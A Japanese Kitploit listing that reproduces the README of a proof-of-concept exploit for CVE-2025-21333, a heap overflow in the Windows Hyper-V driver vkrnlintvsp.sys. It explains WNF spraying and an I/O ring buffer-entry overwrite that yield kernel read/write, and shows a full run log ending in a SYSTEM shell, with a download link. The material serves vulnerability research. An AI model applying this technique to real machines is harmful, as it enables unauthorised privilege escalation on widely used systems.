Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-21333-POC — CVE-2025-21333 のヒープベースのバッファオーバーフローに対する POC エクスプロイト。WNF 状態データと I/O リングの IOP_MC_BUFFER_ENTRY を活用します。 | Kitploit
ツール/GitHubGitHub/mrale98/cve-2025-21333-poc
特権昇格脆弱性分析エクスプロイトポストエクスプロイトバイナリエクスプロイト
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

CVE-2025-21333 のヒープベースのバッファオーバーフローに対する POC エクスプロイト。WNF 状態データと I/O リングの IOP_MC_BUFFER_ENTRY を活用します。

リポジトリを見る
232361年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-21333-POC

CVE-2025-21333 の vkrnlintvsp.sys における脆弱性を悪用する Proof of Concept です(あまり信頼性は高くありません。「要件と制限」セクションを参照してください)。エクスプロイトを試してみたい方にとって非常に役立つリソースが、参考文献セクションにあります。

脆弱性とエクスプロイトの詳細な分析はこちらで公開されています。

この脆弱性は、脅威アクターによって活発に悪用されていることが確認されました。

Windows 11 23h2 でテスト済みです。

Windows 11 24h2 でも動作する可能性がありますが、テストは行っていません。

以下は、POC のテストに使用した ntoskrnl.exe と vkrnlintvsp.sys のハッシュです。

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

I/O リングバッファエントリを上書きして任意の読み取り/書き込みを取得する

カーネルアドレスの漏えいに NtQuerySystemInformation を使用せず、任意の読み取り/書き込みの取得に PreviousMode も使用しません。

その代わりに、Paged Pool に _IOP_MC_BUFFER_ENTRY へのポインタ配列を割り当て、最初のポインタをユーザー空間に配置した悪意のある IOP_MC_BUFFER_ENTRY* で上書きします。BuildIoRingWriteFile()/BuildIoRingReadFile() を使用することで、カーネル内で任意の読み取り/書き込みを取得できます。

_IOP_MC_BUFFER_ENTRY へのポインタ配列は、PoolTag IrRB を持つオブジェクトです。

この手法は、Yarden Shafir がこちらで文書化した手法とは少し異なります。_IORING_OBJECT.RegBuffers が指す配列全体を制御する代わりに、この手法は _IORING_OBJECT.RegBuffers が指す配列の1つのエントリのみを制御します。

ポインタ配列のサイズはユーザーが制御できるため、ヒープオーバーフローや複数の LFH バケットの UAF から、ring0 での信頼性の高い任意の読み取り/書き込みを取得するために使用できます。

Paged Pool のオーバーフローや UAF を悪用するためにこの手法を既に公開している人がいるかどうかは不明です。

これらのスクリーンショットは POC 実行後に撮影されたものです。オーバーフローはオブジェクトサイズ 0x50 のバケットで発生しました。そのバケットに RegBuffers 配列を割り当てることが可能で、最初のポインタがユーザー空間のメモリを指していることに注目してください。

image

悪意のあるエントリが Address をプロセスオブジェクトに設定していることに注目してください。Address は読み取り/書き込みを行いたい任意のアドレスに対応します(これについては Yarden Shafir の記事で既に詳しく説明されています)。

image

要件と制限

脆弱な syscall が脆弱なドライバによって処理されるように、Windows サンドボックス機能を有効にする必要があります。

image

0xfff0 バイトのオーバーフローを発生させることに成功しました。オーバーフローの長さを完全に制御することはできませんでした。オーバーフローがサブセグメントより大きい場合、クラッシュが発生します(かなり頻繁に発生する可能性があります)。より多くのオブジェクトをスプレーすることで、この動作を最小限に抑えられるかもしれません。

POC は2つの WNF 状態データを解放し、その位置に regBuffer(IORING_OBJECT に関連付けられた _IOP_MC_BUFFER_ENTRY へのポインタ配列)と PipeAttribute を再割り当てします。解放と再割り当ての間に、別のドライバによって別のオブジェクトがその位置に割り当てられることがあります。while ループ内で他の破損した WNF 状態データオブジェクトを使用して、複数回の再割り当て試行を行い、目的のレイアウトを実現できる可能性を高めることも可能でしょう。

POC のコードはかなり雑です。

system 権限を取得した後は、コンソールで exit と入力して system シェルを終了することをお勧めします。そうしないとマシンがクラッシュします。

コンパイルと実行

x64 Release バージョンをコンパイルします。

実行して system シェルを取得します。

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

参考文献

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

謝辞

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
ツールをダウンロード